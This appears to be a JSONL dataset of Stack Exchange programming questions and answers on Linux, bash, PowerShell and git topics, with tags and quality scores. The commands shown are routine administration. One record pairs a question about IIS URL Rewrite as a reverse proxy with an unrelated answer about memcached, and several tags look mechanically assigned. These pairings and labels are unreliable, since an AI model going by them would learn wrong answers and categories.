{"id": "hf_5ade55696609", "question": "<p>Is there anything which can help with msmq monitoring? I'd like to get some event/monit when a message appears in queue and the same on leave.</p>\n", "question_body": "", "answer": "Check out the Windows Management Performance counters.\nIf you look in your Administrative Tools and find \"Performance Counters\", you will be able to dig through there and find detailed metrics on what is happening on each message queue. This can also work for remote servers.\nShould you wish to create some sort of automation around the monitoring, check out the .NET libraries for reading these performance counters. There is a very rich and comprehensive API which should give you everything you need!", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:25.295194"}
{"id": "hf_88ffa2db5f31", "question": "<p>Is there an easy way to tell if a ruby script is already running and then handle it appropriately?  For example:  I have a script called really_long_script.rb.  I have it cronned to run every 5 minutes.  When it runs, I want to see if the previous run is still running and then stop the execution of the second script.  Any ideas?</p>\n", "question_body": "", "answer": "In bash:\n```\n```\nif ps aux | grep really_long_script.rb | grep -vq grep\nthen\n    echo Script already running\nelse\n    ruby really_long_script.rb\nfi\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:25.463109"}
{"id": "hf_a83c1a087bce", "question": "<p>Specifically, what commands do I run from the terminal?</p>\n", "question_body": "", "answer": "Without a home directory\n```\n```\nsudo useradd myuser\n```\n```\nWith home directory\n```\n```\nsudo useradd -m myuser\n```\n```\nThen set the password\n```\n```\nsudo passwd myuser\n```\n```\nThen set the shell\n```\n```\nsudo usermod -s /bin/bash myuser\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:25.564267"}
{"id": "hf_2f0d0951ba27", "question": "<p>Is there a way to identify, from within a VM, that your code is running inside a VM?</p>\n\n<p>I guess there are more or less easy ways to identify specific VM systems, especially if the VM has the provider's extensions installed (such as for VirtualBox or VMWare). But is there a general way to identify that you are not running directly on the CPU?</p>\n", "question_body": "", "answer": "In most cases, you shouldn't try to. You shouldn't care if someone is running your code in a VM, except in a few specific cases.\nIf you need to, in Linux the most common way is to look at\n```\n/sys/devices/virtual/dmi/id/product_name\n```\n, which will list the name of the laptop/mainboard on most real systems, and the hypervisor on most virtual systems.\n```\ndmidecode | grep Product\n```\nis another common method, but I think that requires root access.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:25.805796"}
{"id": "hf_b73d6729d6f6", "question": "<p>Is there a maximum number of inodes in a single directory? </p>\n\n<p>I have a directory of over 2 million files and can't get the <code>ls</code> command to work against that directory. So now I'm wondering if I've exceeded a limit on inodes in Linux. Is there a limit before a 2^64 numerical limit?</p>\n", "question_body": "", "answer": "Can you get a real count of the number of files?  Does it fall very near a 2^n boundry?  Could you simply be running out of RAM to hold all the file names?\nI know that in windows at least file system performance would drop dramatically as the number of files in the folder went up, but I thought that linux didn't suffer from this issue, at least if you were using a command prompt.  God help you if you try to get something like nautilus to open a folder with that many files.\nI'm also wondering where these files come from.  Are you able to calculate file names programmatically?  If that's the case, you might be able to write a small program to sort them into a number of sub-folders.  Often listing the name of a specific file will grant you access where trying to look up the name will fail.  For example, I have a folder in windows with about 85,000 files where this works.\nIf this technique is successful, you might try finding a way to make this sort permanent, even if it's just running this small program as a cron job.  It'll work especially well if you can sort the files by date somewhere.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:26.035276"}
{"id": "hf_4de8bfc0fd26", "question": "<p>I know I can do most of this by hacking Trac and using Git hooks, but I was wondering if someone has / knows of something ready.</p>\n\n<p>Commenting on (and closing) tickets from commit messages would be nice, specially if the diff appears inline with the comment/closing remark.</p>\n\n<p>sha1 hashes should be auto-linked to gitweb/cigt/custom git browser.</p>\n\n<p>I tried the GitPlugin for Trac, but the code browser was soo slow... any alternatives?</p>\n", "question_body": "", "answer": "Redmine\ncan do some of what you're asking for.  Integration works in one direction, you must\nreference issues in commit messages\n, and then this data will be available in redmine.\nThe data is then available in two views.  The bug display will include a list of matched commits.  The repository display will link commits to bug display pages.\nRedmine keeps a local (bare) repository for each project.  This can be the primary repo or a remote mirror.  On updates, redmine parses the commit messages and updates an internal cross reference table of change_set,issue.\nIf the redmine repository is only used as a mirror, it will need to be updated.  Updates can happen via cron or via external hook.  We use a\nredmine github plugin\nand a github post-receive hook to keep redmine in sync with a primary github repository.\nIt works, but it is still a bit clumsy.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:26.152141"}
{"id": "hf_5302e497ae0e", "question": "<p>I'm doing a fair bit of work in Ruby recently, and using</p>\n\n<pre><code> ruby script/console\n</code></pre>\n\n<p>Is absolutely critical. However, I'm really disappointed with the default Windows console in Vista, especially in that there's a really annoying bug where moving the cursor back when at the bottom of the screen irregularly causes it to jump back. Anyone have a decent console app they use in Windows?</p>\n", "question_body": "", "answer": "Powershell\nWindows PowerShell is Microsoft's task automation framework, consisting of a command-line shell and associated scripting language built on top of, and integrated with the .NET Framework. PowerShell provides full access to COM and WMI, enabling administrators to perform administrative tasks on both local and remote Windows systems.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:26.376609"}
{"id": "hf_18a2377ed7d0", "question": "<p>I'm attracted to the neatness that a single file database provides. What driver/connector library is out there to connect and use SQLite with Java.</p>\n\n<p>I've discovered a wrapper library, <a href=\"http://www.ch-werner.de/javasqlite/\" rel=\"noreferrer\">http://www.ch-werner.de/javasqlite</a>, but are there other more prominent projects available?</p>\n", "question_body": "", "answer": "The\nwiki\nlists some more wrappers:\nJava wrapper (around a SWIG interface):\nhttp://tk-software.home.comcast.net/\nA good tutorial to use JDBC driver for SQLite. (it works at least !)\nhttp://www.ci.uchicago.edu/wiki/bin/view/VDS/VDSDevelopment/UsingSQLite\nCross-platform JDBC driver which uses embedded native SQLite libraries on Windows, Linux, OS X, and falls back to pure Java implementation on other OSes:\nhttps://github.com/xerial/sqlite-jdbc\n(formerly\nzentus\n)\nAnother Java - SWIG wrapper. It only works on Win32.\nhttp://rodolfo_3.tripod.com/index.html\nsqlite-java-shell: 100% pure Java port of the sqlite3 commandline shell built with NestedVM. (This is not a JDBC driver).\nSQLite JDBC Driver for Mysaifu JVM: SQLite JDBC Driver for Mysaifu JVM and SQLite JNI Library for Windows (x86) and Linux (i386/PowerPC).", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:26.508490"}
{"id": "hf_5340e7217817", "question": "<p>Is there any library (or even better, web service) available which can convert from a latitude/longitude into a time zone?</p>\n", "question_body": "", "answer": "Project dead :-/\nThese look pretty promising-\nArchive link:\nhttps://web.archive.org/web/20150503145203/http://www.earthtools.org/webservices.htm", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:26.667081"}
{"id": "hf_0ac52c06d987", "question": "<p>I need to convert latitude/longitude coordinates into Easting/Northing coordinates in the Alberta 10 TM Projection.</p>\n\n<p>The 10 TM projection is similar to UTM, but it is a custom projection for the province of Alberta, Canada.  I think (with some effort) I could code it myself but would rather not reinvent the wheel if it's been done already.</p>\n", "question_body": "", "answer": "Grab\nPROJ Cartographic Projections library\n- open source library.\nSuggested parameters for 10TM:\n+proj=tmerc +lon_0=-115 +k_0=0.9992 +x_0=500000 +datum=NAD27\nAccording to\nthis post\nyou may need to:\nchange the ellps to GRS80 if your 10TM\ndata is referenced to the NAD83 datum\n(instead of NAD27/clrk66).  You may\nalso need to change the false northing\n(y_0) to be -5000000 if your 10TM\ncoordinates for Alberta are less than\n5,000,000 (an AltaLIS \"standard\").\nI should mention that proj.4 is\nthe library\nto get for any kind of geographic coordinate system transformation.  There's pretty much no transformation it can't do.\nI also recommend reading\nMap Projections-A Working Manual (Paperback) by John Snyder\nif you are into these kinds of things.. it's a classic. :) (fixed the link)", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:26.796901"}
{"id": "hf_efbf463c63cb", "question": "<p>Does anyone have experience using the URL Rewrite Module (see <a href=\"http://blogs.iis.net/bills/archive/2008/07/09/new-iis7-releases-url-rewrite-application-routing-and-load-balancing-and-powershell-cmd-lets.aspx\" rel=\"nofollow noreferrer\">here</a>)?</p>\n\n<p>Can it be used to do <a href=\"http://en.wikipedia.org/wiki/Reverse_proxy\" rel=\"nofollow noreferrer\">reverse proxy</a>?</p>\n", "question_body": "", "answer": "You're going to want to take a look at memcached. It's what a lot of huge (and well-scaled) sites used to handle problems just like this. If you have a few spare servers, you can easily set them up to keep most of your data in memory.\nhttp://en.wikipedia.org/wiki/Memcached\nhttp://www.danga.com/memcached/\nhttp://www.socialtext.net/memcached/", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:27.046270"}
{"id": "hf_16fe3a9dbbeb", "question": "<p>What is the best way to multi-thread in the C language? I want something that is very efficient and not a CPU hog. Thanks.</p>\n", "question_body": "", "answer": "If you're on a UNIX-based platform (Linux or Mac OS X) your best option is\nPOSIX threads\n. They're the standard cross-platform way to multithread in a POSIX environment. They can also be used in Windows, but there are probably better (more native) solutions for that platform.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:27.228807"}
{"id": "hf_ee5d6bb6e1c4", "question": "<p>I've got a utility that outputs a list of files required by a game.  How can I run that utility within a C program and grab its output so I can act on it within the same program?</p>\n<p>UPDATE: Good call on the lack of information.  The utility spits out a series of strings, and this is supposed to be portable across Mac/Windows/Linux.  Please note, I'm looking for a programmatic way to execute the utility and retain its output (which goes to stdout).</p>\n", "question_body": "", "answer": "For simple problems in Unix-ish environments try\n```\npopen()\n```\n.\nFrom the man page:\nThe popen() function opens a process by creating a pipe, forking and invoking the shell.\nIf you use the read mode this is exactly what you asked for. I don't know if it is implemented in Windows.\nFor more complicated problems you want to look up inter-process communication.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:27.329401"}
{"id": "hf_1333226e3b31", "question": "<p>I need to diff two log files but ignore the time stamp part of each line (the first 12 characters to be exact).  Is there a good tool, or a clever awk command, that could help me out?</p>\n", "question_body": "", "answer": "@EbGreen said\nI would just take the log files and strip the timestamps off the start of each line then save the file out to different files. Then diff those files.\nThat's probably the best bet, unless your diffing tool has special powers.\nFor example, you could\n```\n```\ncut -b13- file1 > trimmed_file1\ncut -b13- file2 > trimmed_file2\ndiff trimmed_file1 trimmed_file2\n```\n```\nSee @toolkit's response for an optimization that makes this a one-liner and obviates the need for extra files. If your shell supports it. Bash 3.2.39 at least seems to...", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:27.572552"}
{"id": "hf_60f7d93b5e97", "question": "<p>I want to make an etag that matches what Apache produces.  How does apache create it's etags?</p>\n", "question_body": "", "answer": "Apache uses the standard format of inode-filesize-mtime.  The only caveat to this is that the mtime must be epoch time and padded with zeros so it is 16 digits.  Here is how to do it in PHP:\n```\n```\n$fs = stat($file);\nheader(\"Etag: \".sprintf('\"%x-%x-%s\"', $fs['ino'], $fs['size'],base_convert(str_pad($fs['mtime'],16,\"0\"),10,16)));\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:27.735633"}
{"id": "hf_408528e43329", "question": "<p>Does anyone know of any existing packages or libraries that can be used to build a calendar in a django app? </p>\n", "question_body": "", "answer": "A quick google search reveals\ndjango-gencal\n, which looks like exactly what you need.  It would also be worth looking at the snippets under the calendar tag on Django Snippets at\nhttp://www.djangosnippets.org/tags/calendar/\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:27.874082"}
{"id": "hf_12918ef3a526", "question": "<p>Let's compile a list of tips.</p>\n\n<p>(Understandably there will be some subjectivity involved, but some pointers would be useful to someone overwhelmed by tackling a large project within the Flash framework.)</p>\n", "question_body": "", "answer": "These are just scattered thoughts on organization for projects being worked on mostly with the Flash IDE.\nFirst, I highly recommend using source control, like Subversion, CVS, or Git.\nOrganization of filesystem folder structure is subjective, but I generally have a \"src\" folder for all my source FLAs and AS class files, and a \"deploy\" or \"bin\" folder for compiled files. The src folder would contain class package files, with class packages organized in reverse domain style (e.g. - com.codehinting.projectname.context ). Modify the publish path of your FLA to publish to the deploy folder by tracing back up using the \"../\" path segment, for as many levels as needed to trace back from the nesting in the src folder.\nAlso, I typically place third-party libraries (that are pretty well \"baked\") in a separate location and then modify the global classpath in the Flash IDE to point to this location.\nTwo extremely handy plugins for the Flash IDE are Create Basic Layers and Library Generator, which quickly create your skeleton layer and library folder structure - saves time versus manually creating layers and folders.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:28.068319"}
{"id": "hf_3053536b5820", "question": "<p>On Fedora Core 7, I'm writing some code that relies on <code>ARG_MAX</code>.  However, even if I <code>#include &lt;limits.h&gt;</code>, the constant is still not defined.  My investigations show that it's present in <code>&lt;sys/linux/limits.h&gt;</code>, but this is supposed to be portable across Win32/Mac/Linux, so directly including it isn't an option.  What's going on here?</p>\n", "question_body": "", "answer": "The reason it's not in limits.h is that it's not a quantity giving the limits of the value range of an integral type based on bit width on the current architecture.  That's the role assigned to limits.h by the ISO standard.\nThe value in which you're interested is not hardware-bound in practice and can vary from platform to platform and perhaps system build to system build.\nThe correct thing to do is to call\n```\nsysconf\n```\nand ask it for \"ARG_MAX\" or \"_POSIX_ARG_MAX\".  I\nthink\nthat's the POSIX-compliant solution anyway.\nAcc. to my documentation, you include one or both of unistd.h or limits.h based on what values you're requesting.\nOne other point:  many implementations of the exec family of functions return E2BIG or a similar value if you try to call them with an oversized environment.  This is one of the defined conditions under which exec can actually return.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:28.212121"}
{"id": "hf_dcffdc66f74f", "question": "<p>I'm looking at working on a project which uses C#.NET (sitting on a windows box) as the primary language and PostgreSQL as the backend database (backend is sitting on a linux box).  I've heard that ODBC.NET allows for easy integration of these two components.  </p>\n\n<p>Has anyone had experience actually setting C# and PostgreSQL up to work together?  If so, do you have any suggestions about how to go about it, issues you've found, etc.?</p>\n", "question_body": "", "answer": "I'm working with C# and Postgres using\nNpgsql2\ncomponent, and they work fast, I recommend you.\nYou can download from\nhttps://github.com/npgsql/Npgsql/releases\nNote:\nIf you want an application that works with any database you can use the\nDbProviderFactory\nclass and make your queries using\nIDbConnection\n,\nIDbCommand\n,\nIDataReader\nand/or\nIDbTransaction\ninterfaces.", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:28.359579"}
{"id": "hf_e81ccacf51e4", "question": "<p>I am writing a C program in Linux.  Commands like execv() require a path in the form of a C string.  Is there a command that will return the current path in the form of a C-style string?</p>\n", "question_body": "", "answer": "getcwd()\n:\nSYNOPSIS\n```\n```\n#include <unistd.h>\n\nchar *getcwd(char *buf, size_t size);\n```\n```\nDESCRIPTION\nThe\ngetcwd()\nfunction shall place an absolute pathname of the current working directory in the array pointed to by\nbuf, and return buf\n. The pathname copied to the array shall contain no components that are symbolic links. The\nsize\nargument is the size in bytes of the character array pointed to by the\nbuf\nargument. If\nbuf\nis a null pointer, the behavior of getcwd() is unspecified.\nRETURN VALUE\nUpon successful completion,\ngetcwd()\nshall return the\nbuf\nargument. Otherwise,\ngetcwd()\nshall return a null pointer and set\nerrno\nto indicate the error. The contents of the array pointed to by\nbuf\nare then undefined....", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:28.503099"}
{"id": "hf_9c99616e8ed2", "question": "<p>If I was going to start an open source project using Python what version should I use to ensure that the vast majority of users can use it on their system?</p>\n\n<p>I'm the kind of person who quickly jumps to the next version (which I'll do when Python 3 comes out) but many people may be more conservative if their current version seems to be working fine. What version would hit the sweet spot but still allow me to enjoy the newest and coolest language enhancements?</p>\n", "question_body": "", "answer": "I've not seen a system with less than 2.3 installed for some time.  Mostly 2.4+ is installed by default for most OS I use now.  2.3 is just on an older Solaris machine.  Linux distros tend to have 2.4+, as does OS X.\nIIRC, 2.4 has a lot of the features 2.5 does, but usable only with\n```\n```\nfrom __future__ import *\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:28.640664"}
{"id": "hf_f9874e7843a5", "question": "<p>I'm trying to debug a deadlock in a multi-threaded Python application after it has locked up.  Is there a way to attach a debugger to inspect the state of the process?  </p>\n\n<p>Edit: I'm attempting this on Linux, but it would be great if there were a cross-platform solution.  It's Python after all :)</p>\n", "question_body": "", "answer": "What platform are you attempting this on? Most debuggers allow you to attach to a running process by using the process id.\nYou can either output the process id via logging or using something like Task Manager.\nOnce that is achieved it will be possible to inspect individual threads and their call stacks.\nEDIT: I don't have any experience with GNU Debugger (GDB), which is cross platform, however I found this\nlink\nand it may start you on the right path. It explains how to add debug symbols (handy for reading stack traces) and how to instruct gdb to attach to a running python process.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:28.833448"}
{"id": "hf_69949450ca0a", "question": "<p>I've heard that creating a new process on a Windows box is more expensive than on Linux.  Is this true?  Can somebody explain the technical reasons for why it's more expensive and provide any historical reasons for the design decisions behind those reasons?</p>\n", "question_body": "", "answer": "Unix has a 'fork' system call which 'splits' the current process into two, and gives you a second process that is identical to the first (modulo the return from the fork call).  Since the address space of the new process is already up and running this is should be cheaper than calling 'CreateProcess' in Windows and having it load the exe image, associated dlls, etc.\nIn the fork case the OS can use 'copy-on-write' semantics for the memory pages associated with both new processes to ensure that each one gets their own copy of the pages they subsequently modify.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:28.994267"}
{"id": "hf_214f0d12c210", "question": "<p>On linux, it's possible to create a tun interface using a tun driver which provides a \"network interface psuedo-device\" that can be treated as a regular network interface.  Is there a way to do this programmatically on windows?  Is there a way to do this without writing my own driver?  </p>\n", "question_body": "", "answer": "You can do this on XP with the\nMicrosoft Loopback Adapter\nwhich is a driver for a virtual network card.\nOn newer Windows version:\nInstalling the Microsoft Loopback Adapter in Windows 8 and Windows Server 2012", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:29.135501"}
{"id": "hf_724969226b87", "question": "<p>I want to generate a thumbnail preview of videos in Java. I'm mostly JMF and video manipulation alienated. </p>\n\n<ul>\n<li>Is there an easy way to do it?</li>\n<li>What about codecs? Will I have to deal with it?</li>\n<li>Any video type is suported? (including Quicktime)</li>\n</ul>\n", "question_body": "", "answer": "Are you sure that JMF is right for you?  Unfortunately, it is not in particularly good shape.  Unless you are already committed to JMF, you very well may want to investigate alternatives. Wikipedia has a decent overview at\nen.wikipedia.org/wiki/Java_Media_Framework\nMany JMF developers have complained that it\nsupports few codecs and formats in modern use\n. Its all-Java version, for example, cannot play MPEG-2, MPEG-4, Windows Media, RealMedia, most QuickTime movies, Flash content newer than Flash 2, and\nneeds a plug-in to play the ubiquitous MP3 format\n.  While the performance packs offer the ability to use the native platform's media library, they're only offered for Linux, Solaris and Windows. Furthermore,\nWindows-based JMF developers can unwittingly think JMF provides support for more formats than it does\n, and be surprised when their application is unable to play those formats on other platforms.\nAnother knock against JMF is Sun's seeming abandonment of it. The\nAPI has not been touched since 1999\n, and the last news item on JMF's home page was posted in November 2004.\nWhile JMF is built for extensibility,\nthere are few such third-party extensions\n.\nFurthermore,\nediting functionality in JMF is effectively non-existent\n, which makes a wide range of potential applications impractical.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:29.312694"}
{"id": "hf_c643905c11e1", "question": "<p>How do I find out which process is listening on a TCP or UDP port on Windows?</p>\n", "question_body": "", "answer": "PowerShell\nTCP\n```\n```\nGet-Process -Id (Get-NetTCPConnection -LocalPort YourPortNumberHere).OwningProcess\n```\n```\nUDP\n```\n```\nGet-Process -Id (Get-NetUDPEndpoint -LocalPort YourPortNumberHere).OwningProcess\n```\n```\ncmd\n```\n```\nnetstat -a -b\n```\n```\n(Add\n-n\nto stop it trying to resolve hostnames, which will make it a lot faster.)\nNote Dane's recommendation for\nTCPView\n. It looks very useful!\n-a\nDisplays all connections and listening ports.\n-b\nDisplays the executable involved in creating each connection or listening port. In some cases well-known executables host multiple independent components, and in these cases the sequence of components involved in creating the connection or listening port is displayed. In this case the executable name is in [] at the bottom, on top is the component it called, and so forth until TCP/IP was reached. Note that this option can be time-consuming and will fail unless you have sufficient permissions.\n-n\nDisplays addresses and port numbers in numerical form.\n-o\nDisplays the owning process ID associated with each connection.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:29.470949"}
{"id": "hf_c49704caf8a1", "question": "<p>Simply, are there any Java Developer specific Linux distros?</p>\n", "question_body": "", "answer": "The distro which is most developer friendly, in my opinion, is\nGentoo\n. Since you compile everything from scratch, you choose exactly what makes up your system. Java can be installed very easily, so you could potentially just have a\nwindow environment\nand Java installed (aside from the standard tool chain.)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:29.624290"}
{"id": "hf_23f63dbdcbc3", "question": "<p>I really enjoy Chrome, and the sheer exercise of helping a port would boost my knowledge-base.</p>\n<p>Where do I start?</p>\n<p>What are the fundamental similarities and differences between the code which will operated under Windows and Linux?</p>\n<p>What skills and software do I need?</p>\n<hr />\n<h3>Note:</h3>\n<p>The official website is Visual Studio oriented!<br />\nNetbeans or Eclipse are my only options.<br />\nI will not pay Microsoft to help an Open Source project.</p>\n", "question_body": "", "answer": "Read this article on Chrome and Open Source on Linux:\nhttp://arstechnica.com/journals/linux.ars/2008/09/02/google-unveils-chrome-source-code-and-linux-port\nThe Google V8 JavaScript Engine is also open source and available here if you want to contribute;\nhttp://code.google.com/p/v8/\nIf you want to contribute on Chronium, here are the instructions:\nhttp://dev.chromium.org/developers/contributing-code\nChromium\nis an open-source browser\n  project that aims to build a safer,\n  faster, and more stable way for all\n  Internet users to experience the web.\n  This site contains design documents,\n  architecture overviews, testing\n  information, and more to help you\n  learn to build and work with the\n  Chromium source code.\nHere is how you can get started:\nhttp://dev.chromium.org/developers/how-tos/getting-started\nEDIT: Two more questions was added to the original question.\nBuilding on Linux requires the following software:\nSubversion >= 1.4\npkg-config >= 0.20\nPython >= 2.4\nPerl >= 5.x\ngcc/g++ >= 4.2\nbison >= 2.3\nflex >= 2.5.34\ngperf >= 3.0.3\nlibnss3-dev >= 3.12\nOn Ubuntu 8.04, you can fetch all of the above as follows:\n```\n```\n$ sudo apt-get install subversion pkg-config python perl g++ bison flex gperf libnss3-dev\n```\n```\nNote\n: There is no working\n  Chromium-based browser on Linux.\n  Although many Chromium submodules\n  build under Linux and a few unit tests\n  pass, all that runs is a command-line\n  \"all tests pass\" executable.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:29.749847"}
{"id": "hf_627c59751ab1", "question": "<p>I know PHP scripts don't actually compile until they are run. However, say I want to create a small simple program and compile it to a binary without requiring the PHP binary. How could I do this?</p>\n\n<p>I've seen a few IDE's out there that would do this, but either they are all for windows or the Linux versions don't actually build properly.<br>\nWhat I would like is something like py2exe that does it in the script itself.</p>\n", "question_body": "", "answer": "There is this:\nhttp://www.bambalam.se/bamcompile/\nbut that compiles to Windows bytecode.  There are a few others, but all I have seen will compile for windows only.\nFew More:\nhttp://www.nusphere.com/products/phpdock.htm\nEdit: I almost forgot if your looking to make it work on linux without regard for windows you can just add\n```\n```\n#!/usr/bin/php\n```\n```\nto the top of the script and you should be able to run it from the command line.  Don't forget to chmod +x the file first.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:29.901460"}
{"id": "hf_6b4014123276", "question": "<p>I'm looking for the basic loop like:</p>\n<pre><code>for(int i = 0; i &lt; MAX; i++) {\n  doSomething(i);\n}\n</code></pre>\n<p>but for Bash.</p>\n", "question_body": "", "answer": "From\nthis site\n:\n```\n```\nfor i in $(seq 1 10);\ndo\n    echo $i\ndone\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:15:30.129270"}
